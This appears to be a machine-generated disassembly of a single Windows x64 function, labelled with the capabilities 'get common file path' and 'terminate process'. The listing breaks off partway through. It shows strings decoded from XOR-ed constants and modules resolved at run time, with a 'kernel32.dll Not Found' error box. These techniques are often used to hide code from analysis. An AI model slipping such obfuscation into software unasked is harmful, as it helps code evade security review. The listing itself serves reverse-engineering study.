Function at 0x14002d8c0
Capabilities:
Get common file path
Terminate process

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x8670]
mov eax, 0x8770
call fcn.1401089d0
sub rsp, rax
movaps xmmword [rsp + 0x8760], xmm6
movaps xmmword [rsp + 0x8750], xmm7
movaps xmmword [rsp + 0x8740], xmm8
movaps xmmword [rsp + 0x8730], xmm9
mov rax, qword [0x1401ffe18]
xor rax, rsp
mov qword [rbp + 0x8620], rax
mov qword [rbp + 0x270], rdx
mov r12, rcx
movabs rax, 0x1983498ed563ed69
mov qword [rbp - 0x50], rax
movabs rax, 0x10e01ab2c06cc5cb
mov qword [rbp - 0x48], rax
movabs rax, 0x117bb17a7157f89b
mov qword [rbp - 0x40], rax
movabs rcx, 0xee648b30219a9ec
mov qword [rbp - 0x38], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x19ed49fcd506ed02
mov qword [rbp - 0x10], rax
movabs rax, 0x10d21a81c000c5ae
mov qword [rbp - 8], rax
movabs rax, 0x1117b1167133f8b5
mov qword [rbp], rax
mov qword [rbp + 8], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp - 0x50]
pxor xmm0, xmmword [rbp - 0x10]
movdqa xmmword [rbp + 0xf50], xmm0
movdqa xmm1, xmmword [rbp - 0x40]
pxor xmm1, xmmword [rbp]
movdqa xmmword [rbp + 0xf60], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0xf70], xmm2
pxor xmm3, xmm5
movdqa xmmword [rbp + 0xf80], xmm3
lea rax, [rbp + 0x5100]
lea rcx, [rbp + 0xf50]
mov ebx, 3
mov edx, ebx
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14002d9f0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
lea r8, [rbp + 0x5100]
mov rdx, r12
lea rcx, [rbp + 0x5ed0]
call fcn.140051d50
mov rdi, qword [rax + 0x18]
test rdi, rdi
jne 0x14002db14
movabs r15, 0x1fffffffe0000000
mov qword [rbp + 0x80b0], r15
movabs rax, 0xe000000020013006
mov qword [rbp + 0x80b8], rax
mov qword [rbp + 0x80c0], r15
mov qword [rbp + 0x80c8], rax
movdqa xmm0, xmmword [rbp + 0x80c0]
pxor xmm0, xmmword [rbp + 0x80b0]
movdqa xmmword [rbp + 0x400], xmm0
xor r9d, r9d
lea r8, [rbp + 0x400]
lea rdx, str.kernel32.dll____Not_Found_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor al, al
mov rcx, qword [rbp + 0x8620]
xor rcx, rsp
call fcn.140108a30
lea r11, [rsp + 0x8770]
mov rbx, qword [r11 + 0x50]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
movabs rax, 0x1ce2afb08ccd4369
mov qword [rbp + 0x80f0], rax
movabs rax, 0x40cc7681a235cb
mov qword [rbp + 0x80f8], rax
movabs rax, 0x822c821735a6f4a
mov qword [rbp + 0x8100], rax
movabs rcx, 0x1bd5c4a013f351a
mov qword [rbp + 0x8108], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x1c96afc28cae431c
mov qword [rbp + 0x8130], rax
movabs rax, 0x25cc0581c335a9
mov qword [rbp + 0x8138], rax
movabs rax, 0x84ec84d733e6f64
mov qword [rbp + 0x8140], rax
mov qword [rbp + 0x8148], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x80f0]
pxor xmm0, xmmword [rbp + 0x8130]
movdqa xmmword [rbp + 0x30], xmm0
movdqa xmm1, xmmword [rbp + 0x8140]
pxor xmm1, xmmword [rbp + 0x8100]
movdqa xmmword [rbp + 0x40], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x50], xmm2
pxor xmm3, xmm5
movdqa xmmword [rbp + 0x60], xmm3
lea rax, [rbp + 0x52a0]
lea rcx, [rbp + 0x30]
mov rdx, rbx
nop dword [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14002dbf0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
lea r8, [rbp + 0x52a0]
mov rdx, r12
lea rcx, [rbp + 0x6308]
call fcn.140051d50
mov r15, qword [rax + 0x18]
xorps xmm4, xmm4
xorps xmm5, xmm5
xorps xmm2, xmm2
xorps xmm3, xmm3
test r15, r15
jne 0x14002de1e
movabs r15, 0x1fffffffe0000000
mov qword [rbp + 0x80b0], r15
movabs rax, 0xe0000000200102de
mov qword [rbp + 0x80b8], rax
mov qword [rbp + 0x80c0], r15
mov qword [rbp + 0x80c8], rax
movdqa xmm0, xmmword [rbp + 0x80c0]
pxor xmm0, xmmword [rbp + 0x80b0]
movdqa xmmword [rbp + 0x410], xmm0
movabs rax, 0x12ca1ba8d620aad8
mov qword [rbp + 0x80f0], rax
movabs rax, 0x350e2662473c6c76
mov qword [rbp + 0x80f8], rax
movabs rax, 0x13c76f09a0e4025
mov qword [rbp + 0x8100], rax
movabs rax, 0x603d62fb00637aec
mov qword [rbp + 0x8108], rax
movabs rax, 0x77b97acaa252c9ad
mov qword [rbp + 0x8130], rax
movabs rax, 0x6e2e0b422b500858
mov qword [rbp + 0x8138], rax
movabs rax, 0x6f4919b6ba7a2f6b
mov qword [rbp + 0x8140], rax
movabs rax, 0x603d62fb00632788
mov qword [rbp + 0x8148], rax
movdqa xmm0, xmmword [rbp + 0x8130]
pxor xmm0, xmmword [rbp + 0x80f0]
movdqa xmmword [rbp + 0x30], xmm0
movdqa xmm1, xmmword [rbp + 0x8140]
pxor xmm1, xmmword [rbp + 0x8100]
movdqa xmmword [rbp + 0x40], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x50], xmm2
pxor xmm3, xmm5
movdqa xmmword [rbp + 0x60], xmm3
lea rax, [rbp + 0x55e0]
lea rcx, [rbp + 0x30]
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rbx, 1
jne 0x14002dda0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
xor r9d, r9d
lea r8, [rbp + 0x410]
lea rdx, [rbp + 0x55e0]
jmp 0x14002dacc
movabs rax, 0x8b2fcc5a9a00b67
mov qword [rbp + 0x80f0], rax
movabs rax, 0x1e3f21579aa8360
mov qword [rbp + 0x80f8], rax
movabs rax, 0xdc331e324
mov qword [rbp + 0x8100], rax
movabs rcx, 0x5c0c27ae6d9
mov qword [rbp + 0x8108], rcx
movabs rax, 0x8c0fca0a9d30b12
mov qword [rbp + 0x8130], rax
movabs rax, 0x187f23b79988353
mov qword [rbp + 0x8138], rax
movabs rax, 0xdc35de348
mov qword [rbp + 0x8140], rax
mov qword [rbp + 0x8148], rcx
movdqa xmm0, xmmword [rbp + 0x8130]
pxor xmm0, xmmword [rbp + 0x80f0]
movdqa xmmword [rbp + 0x30], xmm0
movdqa xmm1, xmmword [rbp + 0x8100]
pxor xmm1, xmmword [rbp + 0x8140]
movdqa xmmword [rbp + 0x40], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x50], xmm4
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x60], xmm5
lea rax, [rbp + 0x3c80]
lea rcx, [rbp + 0x30]
mov r13d, 2
mov edx, r13d
nop dword [rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14002def0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
lea r8, [rbp + 0x3c80]
mov rdx, r12
lea rcx, [rbp + 0x6740]
call fcn.140051d50
mov rcx, qword [rax + 0x18]
mov qword [rbp + 0x260], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
xorps xmm2, xmm2
xorps xmm3, xmm3
test rcx, rcx
jne 0x14002e12e
movabs r15, 0x1fffffffe0000000
mov qword [rbp + 0x80b0], r15
movabs rax, 0xe000000020011d4e
mov qword [rbp + 0x80b8], rax
mov qword [rbp + 0x80c0], r15
mov qword [rbp + 0x80c8], rax
movdqa xmm0, xmmword [rbp + 0x80c0]
pxor xmm0, xmmword [rbp + 0x80b0]
movdqa xmmword [rbp + 0x420], xmm0
movabs rax, 0x1bf025ad209af621
mov qword [rbp + 0x80f0], rax
movabs rax, 0xeaa95e6868f50ee
mov qword [rbp + 0x80f8], rax
movabs rax, 0x40d97380b144fbf
mov qword [rbp + 0x8100], rax
movabs rcx, 0x43724e9c3b88574e
mov qword [rbp + 0x8108], rcx
movabs rax, 0x7fde179e52ff8554
mov qword [rbp + 0x8130], rax
movabs rax, 0x61e4cec6abaf3c82
mov qword [rbp + 0x8138], rax
movabs rax, 0x5969f94d64526fcb
mov qword [rbp + 0x8140], rax
mov qword [rbp + 0x8148], rcx
movdqa xmm0, xmmword [rbp + 0x80f0]
pxor xmm0, xmmword [rbp + 0x8130]
movdqa xmmword [rbp + 0x30], xmm0
movdqa xmm1, xmmword [rbp + 0x8100]
pxor xmm1, xmmword [rbp + 0x8140]
movdqa xmmword [rbp + 0x40], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x50], xmm4
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x60], xmm5
lea rax, [rbp + 0x4de0]
lea rcx, [rbp + 0x30]
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rbx, 1
jne 0x14002e0c0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
xor r9d, r9d
lea r8, [rbp + 0x420]
lea rdx, [rbp + 0x4de0]
jmp 0x14002dacc
movabs rax, 0x1080b6b19cdd9dd8
mov qword [rbp + 0x80f0], rax
movabs rax, 0x1fa043e846a30f7b
mov qword [rbp + 0x80f8], rax
movabs rax, 0x13294489433dd8
mov qword [rbp + 0x8100], rax
movabs rcx, 0xb77548d2f470f14
mov qword [rbp + 0x8108], rcx
movabs rax, 0x10e3b6dc9caa9dbc
mov qword [rbp + 0x8130], rax
movabs rax, 0x1f8e438d46d10f14
mov qword [rbp + 0x8138], rax
movabs rax, 0x132928892f3dbc
mov qword [rbp + 0x8140], rax
mov qword [rbp + 0x8148], rcx
movdqa xmm0, xmmword [rbp + 0x80f0]
pxor xmm0, xmmword [rbp + 0x8130]
movdqa xmmword [rbp + 0x30], xmm0
movdqa xmm1, xmmword [rbp + 0x8100]
pxor xmm1, xmmword [rbp + 0x8140]
movdqa xmmword [rbp + 0x40], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x50], xmm4
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x60], xmm5
lea rax, [rbp + 0x44e0]
lea rcx, [rbp + 0x30]
mov rdx, rbx
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14002e200
lea r8, [rbp + 0x44e0]
mov rdx, r12
lea rcx, [rbp + 0x6b78]
call fcn.140051d50
mov rax, qword [rax + 0x18]
mov qword [rbp + 0x220], rax
xorps xmm4, xmm4
xorps xmm5, xmm5
xorps xmm2, xmm2
xorps xmm3, xmm3
test rax, rax
jne 0x14002e416
movabs r15, 0x1fffffffe0000000
mov qword [rbp + 0x80b0], r15
movabs rax, 0xe0000000200167e1
mov qword [rbp + 0x80b8], rax
mov qword [rbp + 0x80c0], r15
mov qword [rbp + 0x80c8], rax
movdqa xmm0, xmmword [rbp + 0x80c0]
pxor xmm0, xmmword [rbp + 0x80b0]
movdqa xmmword [rbp + 0x430], xmm0
movabs rax, 0x11dec0885f81e80b
mov qword [rbp + 0x80f0], rax
movabs rax, 0x67912ea6e5377912
mov qword [rbp + 0x80f8], rax
movabs rax, 0xc8b5dacbce430b3
mov qword [rbp + 0x8100], rax
movabs rax, 0x6b973f9e2390a6ed
mov qword [rbp + 0x8108], rax
movabs rax, 0x3fbbb2e73cec9f6f
mov qword [rbp + 0x8130], rax
movabs rax, 0x29ca0e8bc55b1576
mov qword [rbp + 0x8138], rax
movabs rax, 0x68e528c3fac444dc
mov qword [rbp + 0x8140], rax
movabs rax, 0x6b973f9e2390a6b0
mov qword [rbp + 0x8148], rax
movdqa xmm0, xmmword [rbp + 0x80f0]
pxor xmm0, xmmword [rbp + 0x8130]
movdqa xmmword [rbp + 0x30], xmm0
movdqa xmm1, xmmword [rbp + 0x8100]
pxor xmm1, xmmword [rbp + 0x8140]
movdqa xmmword [rbp + 0x40], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x50], xmm4
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x60], xmm5
lea rax, [rbp + 0x5440]
lea rcx, [rbp + 0x30]
nop
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rbx, 1
jne 0x14002e3a0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
xor r9d, r9d
lea r8, [rbp + 0x430]
lea rdx, [rbp + 0x5440]
jmp 0x14002dacc
movabs rax, 0xe828da24735ac57
mov qword [rbp + 0x80f0], rax
movabs rax, 0x4af8b623e281cde
mov qword [rbp + 0x80f8], rax
movabs rax, 0x1351767163
mov qword [rbp + 0x8100], rax
movabs rcx, 0x5c568217fe1
mov qword [rbp + 0x8108], rcx
movabs rax, 0xeb18dcc475cac20
mov qword [rbp + 0x8130], rax
movabs rax, 0x4cb8b4c3e5d1cec
mov qword [rbp + 0x8138], rax
movabs rax, 0x13511a710f
mov qword [rbp + 0x8140], rax
mov qword [rbp + 0x8148], rcx
movdqa xmm0, xmmword [rbp + 0x8130]
pxor xmm0, xmmword [rbp + 0x80f0]
movdqa xmmword [rbp + 0x30], xmm0
movdqa xmm1, xmmword [rbp + 0x8100]
pxor xmm1, xmmword [rbp + 0x8140]
movdqa xmmword [rbp + 0x40], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x50], xmm4
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x60], xmm5
lea rax, [rbp + 0x3de0]
lea rcx, [rbp + 0x30]
mov rdx, r13
nop
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14002e4e0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
lea r8, [rbp + 0x3de0]
mov rdx, r12
lea rcx, [rbp + 0x6fb0]
call fcn.140051d50
xorps xmm4, xmm4
xorps xmm5, xmm5
xorps xmm2, xmm2
xorps xmm3, xmm3
cmp qword [rax + 0x18], 0
jne 0x14002e70e
movabs r15, 0x1fffffffe0000000
mov qword [rbp + 0x80b0], r15
movabs rax, 0xe000000020014e14
mov qword [rbp + 0x80b8], rax
mov qword [rbp + 0x80c0], r15
mov qword [rbp + 0x80c8], rax
movdqa xmm0, xmmword [rbp + 0x80c0]
pxor xmm0, xmmword [rbp + 0x80b0]
movdqa xmmword [rbp + 0x440], xmm0
movabs rax, 0x15416c93586e8d6c
mov qword [rbp + 0x80f0], rax
movabs rax, 0x14bfd15588ac78aa
mov qword [rbp + 0x80f8], rax
movabs rax, 0x21f9b3e493f4eb1
mov qword [rbp + 0x8100], rax
movabs rcx, 0x4b956faf1ec752d3
mov qword [rbp + 0x8108], rcx
movabs rax, 0x716f19a16b00e41b
mov qword [rbp + 0x8130], rax
movabs rax, 0x7bf18a75a58c14c6
mov qword [rbp + 0x8138], rax
movabs rax, 0x5f7bf54b26796ec5
mov qword [rbp + 0x8140], rax
mov qword [rbp + 0x8148], rcx
movdqa xmm0, xmmword [rbp + 0x80f0]
pxor xmm0, xmmword [rbp + 0x8130]
movdqa xmmword [rbp + 0x30], xmm0
movdqa xmm1, xmmword [rbp + 0x8100]
pxor xmm1, xmmword [rbp + 0x8140]
movdqa xmmword [rbp + 0x40], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x50], xmm4
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x60], xmm5
lea rax, [rbp + 0x4f70]
lea rcx, [rbp + 0x30]
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rbx, 1
jne 0x14002e6a0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
xor r9d, r9d
lea r8, [rbp + 0x440]
lea rdx, [rbp + 0x4f70]
jmp 0x14002dacc
movabs rax, 0x176ac89c1d84c3a5
mov qword [rbp + 0x80f0], rax
movabs rax, 0x4fd739503188401
mov qword [rbp + 0x80f8], rax
movabs rax, 0x1fffffffe0112264
mov qword [rbp + 0x8100], rax
movabs rcx, 0xe00000001fee6d20
mov qword [rbp + 0x8108], rcx
movabs rax, 0x1759c8f51de0c3e2
mov qword [rbp + 0x8130], rax
movabs rax, 0x49173f103368433
mov qword [rbp + 0x8138], rax
movabs rax, 0x1fffffffe0112208
mov qword [rbp + 0x8140], rax
mov qword [rbp + 0x8148], rcx
movdqa xmm0, xmmword [rbp + 0x80f0]
pxor xmm0, xmmword [rbp + 0x8130]
movdqa xmmword [rbp + 0x30], xmm0
movdqa xmm1, xmmword [rbp + 0x8100]
pxor xmm1, xmmword [rbp + 0x8140]
movdqa xmmword [rbp + 0x40], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x50], xmm4
pxor xmm3, xmm5
movdqa xmmword [rbp + 0x60], xmm3
lea rax, [rbp + 0x3400]
lea rcx, [rbp + 0x30]
mov rdx, r13
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14002e7e0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
lea r8, [rbp + 0x3400]
mov rdx, r12
lea rcx, [rbp + 0x73e8]
call fcn.140051d50
mov rsi, qword [rax + 0x18]
xorps xmm4, xmm4
xorps xmm5, xmm5
xorps xmm2, xmm2
xorps xmm3, xmm3
test rsi, rsi
jne 0x14002e9f8
movabs r15, 0x1fffffffe0000000
mov qword [rbp + 0x80b0], r15
movabs rax, 0xe00000002001586a
mov qword [rbp + 0x80b8], rax
mov qword [rbp + 0x80c0], r15
mov qword [rbp + 0x80c8], rax
movdqa xmm0, xmmword [rbp + 0x80c0]
pxor xmm0, xmmword [rbp + 0x80b0]
movdqa xmmword [rbp + 0x450], xmm0
movabs rax, 0xdbb89b7b6173ba3
mov qword [rbp + 0x80f0], rax
movabs rax, 0x14f64e5d50fa59d2
mov qword [rbp + 0x80f8], rax
movabs rax, 0xf2fe9f04a20148
mov qword [rbp + 0x8100], rax
movabs rcx, 0x10dd0f494eb35efb
mov qword [rbp + 0x8108], rcx
movabs rax, 0x61dfa785857e5fe4
mov qword [rbp + 0x8130], rax
movabs rax, 0x6099000670d779be
mov qword [rbp + 0x8138], rax
movabs rax, 0xaf9af171cd4768
mov qword [rbp + 0x8140], rax
mov qword [rbp + 0x8148], rcx
movdqa xmm0, xmmword [rbp + 0x8130]
pxor xmm0, xmmword [rbp + 0x80f0]
movdqa xmmword [rbp + 0x30], xmm0
movdqa xmm1, xmmword [rbp + 0x8140]
pxor xmm1, xmmword [rbp + 0x8100]
movdqa xmmword [rbp + 0x40], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x50], xmm2
pxor xmm3, xmm5
movdqa xmmword [rbp + 0x60], xmm3
lea rax, [rbp + 0x4660]
lea rcx, [rbp + 0x30]
nop dword [rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rbx, 1
jne 0x14002e990
xor r9d, r9d
lea r8, [rbp + 0x450]
lea rdx, [rbp + 0x4660]
jmp 0x14002dacc
movabs rax, 0x1c4ab449e44a2627
mov qword [rbp + 0x80f0], rax
movabs rax, 0x1310457470c804a6
mov qword [rbp + 0x80f8], rax
movabs rax, 0x1fffffffe0165c36
mov qword [rbp + 0x8100], rax
movabs rcx, 0xe00000001fe84b7f
mov qword [rbp + 0x8108], rcx
movabs rax, 0x1c26b42de43e2669
mov qword [rbp + 0x8130], rax
movabs rax, 0x137c451070e604ca
mov qword [rbp + 0x8138], rax
movabs rax, 0x1fffffffe0165c5a
mov qword [rbp + 0x8140], rax
mov qword [rbp + 0x8148], rcx
movdqa xmm0, xmmword [rbp + 0x80f0]
pxor xmm0, xmmword [rbp + 0x8130]
movdqa xmmword [rbp + 0x30], xmm0
movdqa xmm1, xmmword [rbp + 0x8100]
pxor xmm1, xmmword [rbp + 0x8140]
movdqa xmmword [rbp + 0x40], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x50], xmm4
pxor xmm3, xmm5
movdqa xmmword [rbp + 0x60], xmm3
lea rax, [rbp + 0x3540]
lea rcx, [rbp + 0x30]
mov rdx, r13
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
